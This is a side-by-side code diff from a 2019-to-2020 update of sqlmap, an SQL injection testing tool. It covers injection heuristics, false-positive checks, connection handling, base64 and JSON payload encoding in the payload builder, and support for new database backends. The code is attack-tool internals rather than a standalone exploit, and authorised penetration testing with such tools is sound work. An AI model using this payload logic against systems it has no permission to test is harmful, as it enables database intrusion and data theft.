if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
retVal = dbms retVal = dbms
break break
@@ -925,6 +937,12 @@ def checkFalsePositives(injection):
randInt1 = min(randInt1, randInt2, randInt3) randInt1 = min(randInt1, randInt2, randInt3)
randInt3 = max(randInt1, randInt2, randInt3) randInt3 = max(randInt1, randInt2, randInt3)
if conf.string and any(conf.string in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if conf.notString and any(conf.notString in getUnicode(_) for _ in (randInt1, randInt2, randInt3)):
continue
if randInt3 > randInt2 > randInt1: if randInt3 > randInt2 > randInt1:
break break
@@ -1099,6 +1117,7 @@ def heuristicCheckSqlInjection(place, parameter):
logger.warn(infoMsg) logger.warn(infoMsg)
kb.heuristicMode = True kb.heuristicMode = True
kb.disableHtmlDecoding = True
randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH) randStr1, randStr2 = randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH), randomStr(NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH)
value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2) value = "%s%s%s" % (randStr1, DUMMY_NON_SQLI_CHECK_APPENDIX, randStr2)
@@ -1118,6 +1137,7 @@ def heuristicCheckSqlInjection(place, parameter):
logger.info(infoMsg) logger.info(infoMsg)
break break
kb.disableHtmlDecoding = False
kb.heuristicMode = False kb.heuristicMode = False
return kb.heuristicTest return kb.heuristicTest
@@ -1512,6 +1532,7 @@ def checkConnection(suppressOutput=False):
conf.disablePrecon = True conf.disablePrecon = True
if not kb.originalPage and wasLastResponseHTTPError(): if not kb.originalPage and wasLastResponseHTTPError():
if getLastRequestHTTPError() not in (conf.ignoreCode or []):
errMsg = "unable to retrieve page content" errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
elif wasLastResponseDBMSError(): elif wasLastResponseDBMSError():
@@ -1560,7 +1581,7 @@ def checkConnection(suppressOutput=False):
kb.originalPage = kb.pageTemplate = threadData.lastPage kb.originalPage = kb.pageTemplate = threadData.lastPage
kb.originalCode = threadData.lastCode kb.originalCode = threadData.lastCode
if conf.cj and not conf.cookie and not conf.dropSetCookie: if conf.cj and not conf.cookie and not any(_[0] == HTTP_HEADER.COOKIE for _ in conf.httpHeaders) and not conf.dropSetCookie:
candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj) candidate = DEFAULT_COOKIE_DELIMITER.join("%s=%s" % (_.name, _.value) for _ in conf.cj)
message = "you have not declared cookie(s), while " message = "you have not declared cookie(s), while "

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -36,6 +36,7 @@ from lib.core.common import isListLike
from lib.core.common import parseTargetUrl from lib.core.common import parseTargetUrl
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import removePostHintPrefix from lib.core.common import removePostHintPrefix
@@ -57,6 +58,7 @@ from lib.core.enums import NOTE
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE from lib.core.enums import PLACE
from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSilentQuitException
@@ -203,10 +205,11 @@ def _randomFillBlankFields(value):
for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal): for match in re.finditer(EMPTY_FORM_FIELDS_REGEX, retVal):
item = match.group("result") item = match.group("result")
if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item): if not any(_ in item for _ in IGNORE_PARAMETERS) and not re.search(ASP_NET_CONTROL_REGEX, item):
newValue = randomStr() if not re.search(r"^id|id$", item, re.I) else randomInt()
if item[-1] == DEFAULT_GET_POST_DELIMITER: if item[-1] == DEFAULT_GET_POST_DELIMITER:
retVal = retVal.replace(item, "%s%s%s" % (item[:-1], randomStr(), DEFAULT_GET_POST_DELIMITER)) retVal = retVal.replace(item, "%s%s%s" % (item[:-1], newValue, DEFAULT_GET_POST_DELIMITER))
else: else:
retVal = retVal.replace(item, "%s%s" % (item, randomStr())) retVal = retVal.replace(item, "%s%s" % (item, newValue))
return retVal return retVal
@@ -257,10 +260,6 @@ def _saveToResultsFile():
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line) conf.resultsFP.write(line)
if not results:
line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.write(line)
conf.resultsFP.flush() conf.resultsFP.flush()
except IOError as ex: except IOError as ex:
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex)) errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFile, getSafeExString(ex))
@@ -293,7 +292,7 @@ def start():
return False return False
if kb.targets and len(kb.targets) > 1: if kb.targets and len(kb.targets) > 1:
infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) infoMsg = "found a total of %d targets" % len(kb.targets)
logger.info(infoMsg) logger.info(infoMsg)
hostCount = 0 hostCount = 0
@@ -301,7 +300,6 @@ def start():
for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets:
try: try:
if conf.checkInternet: if conf.checkInternet:
infoMsg = "checking for Internet connection" infoMsg = "checking for Internet connection"
logger.info(infoMsg) logger.info(infoMsg)
@@ -310,14 +308,23 @@ def start():
warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X") warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X")
dataToStdout(warnMsg) dataToStdout(warnMsg)
while not checkInternet(): valid = False
for _ in xrange(conf.retries):
if checkInternet():
valid = True
break
else:
dataToStdout('.') dataToStdout('.')
time.sleep(5) time.sleep(5)
if not valid:
errMsg = "please check your Internet connection and rerun"
raise SqlmapConnectionException(errMsg)
else:
dataToStdout("\n") dataToStdout("\n")
conf.url = targetUrl conf.url = targetUrl
conf.method = targetMethod.upper() if targetMethod else targetMethod conf.method = targetMethod.upper().strip() if targetMethod else targetMethod
conf.data = targetData conf.data = targetData
conf.cookie = targetCookie conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders) conf.httpHeaders = list(initialHeaders)
@@ -329,6 +336,10 @@ def start():
conf.httpHeaders.append((header, value)) conf.httpHeaders.append((header, value))
break break
if conf.data:
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])] conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
initTargetEnv() initTargetEnv()
@@ -375,7 +386,7 @@ def start():
message += "\nCookie: %s" % conf.cookie message += "\nCookie: %s" % conf.cookie
if conf.data is not None: if conf.data is not None:
message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data) message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST, urlencode(conf.data or "") if re.search(r"\A\s*[<{]", conf.data or "") is None else conf.data)
if conf.forms and conf.method: if conf.forms and conf.method:
if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1:
@@ -406,6 +417,7 @@ def start():
parseTargetUrl() parseTargetUrl()
else: else:
if not conf.scope:
message += "\ndo you want to test this URL? [Y/n/q]" message += "\ndo you want to test this URL? [Y/n/q]"
choice = readInput(message, default='Y').upper() choice = readInput(message, default='Y').upper()
@@ -414,6 +426,8 @@ def start():
continue continue
elif choice == 'Q': elif choice == 'Q':
break break
else:
pass
infoMsg = "testing URL '%s'" % targetUrl infoMsg = "testing URL '%s'" % targetUrl
logger.info(infoMsg) logger.info(infoMsg)
@@ -459,18 +473,18 @@ def start():
for place in parameters: for place in parameters:
# Test User-Agent and Referer headers only if # Test User-Agent and Referer headers only if
# --level >= 3 # --level >= 3
skip = (place == PLACE.USER_AGENT and conf.level < 3) skip = (place == PLACE.USER_AGENT and (kb.testOnlyCustom or conf.level < 3))
skip |= (place == PLACE.REFERER and conf.level < 3) skip |= (place == PLACE.REFERER and (kb.testOnlyCustom or conf.level < 3))
# --param-filter # --param-filter
skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter) skip |= (len(conf.paramFilter) > 0 and place.upper() not in conf.paramFilter)
# Test Host header only if # Test Host header only if
# --level >= 5 # --level >= 5
skip |= (place == PLACE.HOST and conf.level < 5) skip |= (place == PLACE.HOST and (kb.testOnlyCustom or conf.level < 5))
# Test Cookie header only if --level >= 2 # Test Cookie header only if --level >= 2
skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.COOKIE and (kb.testOnlyCustom or conf.level < 2))
skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None))
skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None))

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -11,47 +11,83 @@ from lib.core.data import kb
from lib.core.dicts import DBMS_DICT from lib.core.dicts import DBMS_DICT
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import ALTIBASE_ALIASES
from lib.core.settings import CACHE_ALIASES
from lib.core.settings import CRATEDB_ALIASES
from lib.core.settings import CUBRID_ALIASES
from lib.core.settings import DB2_ALIASES
from lib.core.settings import DERBY_ALIASES
from lib.core.settings import EXTREMEDB_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import FRONTBASE_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import MCKOI_ALIASES
from lib.core.settings import MIMERSQL_ALIASES
from lib.core.settings import MONETDB_ALIASES
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import PGSQL_ALIASES from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PRESTO_ALIASES
from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SQLITE_ALIASES
from lib.core.settings import ACCESS_ALIASES
from lib.core.settings import FIREBIRD_ALIASES
from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES from lib.core.settings import VERTICA_ALIASES
from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy from lib.utils.sqlalchemy import SQLAlchemy
from plugins.dbms.mssqlserver import MSSQLServerMap
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
from plugins.dbms.mysql import MySQLMap
from plugins.dbms.mysql.connector import Connector as MySQLConn
from plugins.dbms.oracle import OracleMap
from plugins.dbms.oracle.connector import Connector as OracleConn
from plugins.dbms.postgresql import PostgreSQLMap
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
from plugins.dbms.sqlite import SQLiteMap
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
from plugins.dbms.access import AccessMap
from plugins.dbms.access.connector import Connector as AccessConn from plugins.dbms.access.connector import Connector as AccessConn
from plugins.dbms.firebird import FirebirdMap from plugins.dbms.access import AccessMap
from plugins.dbms.firebird.connector import Connector as FirebirdConn from plugins.dbms.altibase.connector import Connector as AltibaseConn
from plugins.dbms.maxdb import MaxDBMap from plugins.dbms.altibase import AltibaseMap
from plugins.dbms.maxdb.connector import Connector as MaxDBConn from plugins.dbms.cache.connector import Connector as CacheConn
from plugins.dbms.sybase import SybaseMap from plugins.dbms.cache import CacheMap
from plugins.dbms.sybase.connector import Connector as SybaseConn from plugins.dbms.cratedb.connector import Connector as CrateDBConn
from plugins.dbms.db2 import DB2Map from plugins.dbms.cratedb import CrateDBMap
from plugins.dbms.cubrid.connector import Connector as CubridConn
from plugins.dbms.cubrid import CubridMap
from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.hsqldb import HSQLDBMap from plugins.dbms.db2 import DB2Map
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn from plugins.dbms.derby.connector import Connector as DerbyConn
from plugins.dbms.h2 import H2Map from plugins.dbms.derby import DerbyMap
from plugins.dbms.extremedb.connector import Connector as ExtremeDBConn
from plugins.dbms.extremedb import ExtremeDBMap
from plugins.dbms.firebird.connector import Connector as FirebirdConn
from plugins.dbms.firebird import FirebirdMap
from plugins.dbms.frontbase.connector import Connector as FrontBaseConn
from plugins.dbms.frontbase import FrontBaseMap
from plugins.dbms.h2.connector import Connector as H2Conn from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.informix import InformixMap from plugins.dbms.h2 import H2Map
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.hsqldb import HSQLDBMap
from plugins.dbms.informix.connector import Connector as InformixConn from plugins.dbms.informix.connector import Connector as InformixConn
from plugins.dbms.informix import InformixMap
from plugins.dbms.maxdb.connector import Connector as MaxDBConn
from plugins.dbms.maxdb import MaxDBMap
from plugins.dbms.mckoi.connector import Connector as MckoiConn
from plugins.dbms.mckoi import MckoiMap
from plugins.dbms.mimersql.connector import Connector as MimerSQLConn
from plugins.dbms.mimersql import MimerSQLMap
from plugins.dbms.monetdb.connector import Connector as MonetDBConn
from plugins.dbms.monetdb import MonetDBMap
from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn
from plugins.dbms.mssqlserver import MSSQLServerMap
from plugins.dbms.mysql.connector import Connector as MySQLConn
from plugins.dbms.mysql import MySQLMap
from plugins.dbms.oracle.connector import Connector as OracleConn
from plugins.dbms.oracle import OracleMap
from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn
from plugins.dbms.postgresql import PostgreSQLMap
from plugins.dbms.presto.connector import Connector as PrestoConn
from plugins.dbms.presto import PrestoMap
from plugins.dbms.sqlite.connector import Connector as SQLiteConn
from plugins.dbms.sqlite import SQLiteMap
from plugins.dbms.sybase.connector import Connector as SybaseConn
from plugins.dbms.sybase import SybaseMap
from plugins.dbms.vertica.connector import Connector as VerticaConn
from plugins.dbms.vertica import VerticaMap
def setHandler(): def setHandler():
""" """
@@ -73,6 +109,18 @@ def setHandler():
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.H2, H2_ALIASES, H2Map, H2Conn), (DBMS.H2, H2_ALIASES, H2Map, H2Conn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
(DBMS.MONETDB, MONETDB_ALIASES, MonetDBMap, MonetDBConn),
(DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn),
(DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn),
(DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn),
(DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn),
(DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn),
(DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn),
(DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn),
(DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn),
(DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn),
(DBMS.EXTREMEDB, EXTREMEDB_ALIASES, ExtremeDBMap, ExtremeDBConn),
(DBMS.FRONTBASE, FRONTBASE_ALIASES, FrontBaseMap, FrontBaseConn),
] ]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -13,6 +13,7 @@ from lib.core.common import filterNone
from lib.core.common import getSQLSnippet from lib.core.common import getSQLSnippet
from lib.core.common import getTechnique from lib.core.common import getTechnique
from lib.core.common import getTechniqueData from lib.core.common import getTechniqueData
from lib.core.common import hashDBRetrieve
from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isDBMSVersionAtLeast
from lib.core.common import isNumber from lib.core.common import isNumber
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@@ -34,6 +35,8 @@ from lib.core.data import queries
from lib.core.dicts import DUMP_DATA_PREPROCESS from lib.core.dicts import DUMP_DATA_PREPROCESS
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import FORK
from lib.core.enums import HASHDB_KEYS
from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTP_HEADER
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE from lib.core.enums import PLACE
@@ -44,6 +47,7 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import GENERIC_SQL_COMMENT
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
from lib.core.settings import INFERENCE_MARKER from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import NULL from lib.core.settings import NULL
from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PAYLOAD_DELIMITER
@@ -106,6 +110,7 @@ class Agent(object):
paramDict = conf.paramDict[place] paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter]) origValue = getUnicode(paramDict[parameter])
newValue = getUnicode(newValue) if newValue else newValue newValue = getUnicode(newValue) if newValue else newValue
base64Encoding = re.sub(r" \(.+", "", parameter) in conf.base64Parameter
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue: if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue paramString = origValue
@@ -121,7 +126,7 @@ class Agent(object):
paramString = origValue paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0] origValue = origValue.split(kb.customInjectionMark)[0]
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
origValue = origValue.split('>')[-1] origValue = re.split(r"['\">]", origValue)[-1]
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue) origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P<result>\d+\Z)", origValue) or extractRegexResult(r'(?s)[\s:]*(?P<result>[^"\[,]+\Z)', origValue)
else: else:
@@ -167,11 +172,22 @@ class Agent(object):
newValue = "%s%s" % (value, newValue) newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue) newValue = self.cleanupPayload(newValue, origValue) or ""
if base64Encoding:
_newValue = newValue
_origValue = origValue
if newValue:
newValue = newValue.replace(BOUNDARY_BACKSLASH_MARKER, '\\')
newValue = self.adjustLateValues(newValue)
if re.sub(r" \(.+", "", parameter) in conf.base64Parameter:
# TODO: support for POST_HINT # TODO: support for POST_HINT
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
if parameter in kb.base64Originals:
origValue = kb.base64Originals[parameter]
else:
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING) origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
@@ -179,15 +195,23 @@ class Agent(object):
if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString: if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and '"%s"' % _ not in paramString:
newValue = '"%s"' % self.addPayloadDelimiters(newValue) newValue = '"%s"' % self.addPayloadDelimiters(newValue)
elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and "'%s'" % _ not in paramString: elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and re.search(r"['\"]%s['\"]" % re.escape(_), paramString) is None:
newValue = "'%s'" % self.addPayloadDelimiters(newValue) newValue = "'%s'" % self.addPayloadDelimiters(newValue)
else: else:
newValue = self.addPayloadDelimiters(newValue) newValue = self.addPayloadDelimiters(newValue)
if newValue:
newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER) newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
retVal = paramString.replace(_, newValue) retVal = paramString.replace(_, newValue)
retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark) retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
elif BOUNDED_INJECTION_MARKER in paramDict[parameter]: elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
if base64Encoding:
retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
if match:
retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
else:
retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue)) retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
@@ -247,7 +271,7 @@ class Agent(object):
# If we are replacing (<where>) the parameter original value with # If we are replacing (<where>) the parameter original value with
# our payload do not prepend with the prefix # our payload do not prepend with the prefix
if where == PAYLOAD.WHERE.REPLACE: if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
query = "" query = ""
# If the technique is stacked queries (<stype>) do not put a space # If the technique is stacked queries (<stype>) do not put a space
@@ -294,8 +318,9 @@ class Agent(object):
where = getTechniqueData().where if where is None else where where = getTechniqueData().where if where is None else where
comment = getTechniqueData().comment if comment is None else comment comment = getTechniqueData().comment if comment is None else comment
if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")): if any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
comment = queries[DBMS.ACCESS].comment.query if Backend.getIdentifiedDbms() and not GENERIC_SQL_COMMENT.startswith(queries[Backend.getIdentifiedDbms()].comment.query):
comment = queries[Backend.getIdentifiedDbms()].comment.query
if comment is not None: if comment is not None:
expression += comment expression += comment
@@ -381,6 +406,11 @@ class Agent(object):
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, randomStr()) payload = payload.replace(_, randomStr())
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE):
payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
return payload return payload
def getComment(self, request): def getComment(self, request):
@@ -398,7 +428,7 @@ class Agent(object):
rootQuery = queries[Backend.getIdentifiedDbms()] rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field hexField = field
if "hex" in rootQuery: if "hex" in rootQuery and hasattr(rootQuery.hex, "query"):
hexField = rootQuery.hex.query % field hexField = rootQuery.hex.query % field
else: else:
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms() warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
@@ -438,7 +468,7 @@ class Agent(object):
nulledCastedField = field nulledCastedField = field
if field: if field and Backend.getIdentifiedDbms():
rootQuery = queries[Backend.getIdentifiedDbms()] rootQuery = queries[Backend.getIdentifiedDbms()]
if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast: if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast:
@@ -446,12 +476,12 @@ class Agent(object):
else: else:
if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
nulledCastedField = rootQuery.cast.query % field nulledCastedField = rootQuery.cast.query % field
if Backend.getIdentifiedDbms() in (DBMS.ACCESS,): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField) nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
else: else:
nulledCastedField = rootQuery.isnull.query % nulledCastedField nulledCastedField = rootQuery.isnull.query % nulledCastedField
kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',') kb.binaryField = conf.binaryFields and field in conf.binaryFields
if conf.hexConvert or kb.binaryField: if conf.hexConvert or kb.binaryField:
nulledCastedField = self.hexConvertField(nulledCastedField) nulledCastedField = self.hexConvertField(nulledCastedField)
@@ -523,7 +553,7 @@ class Agent(object):
""" """
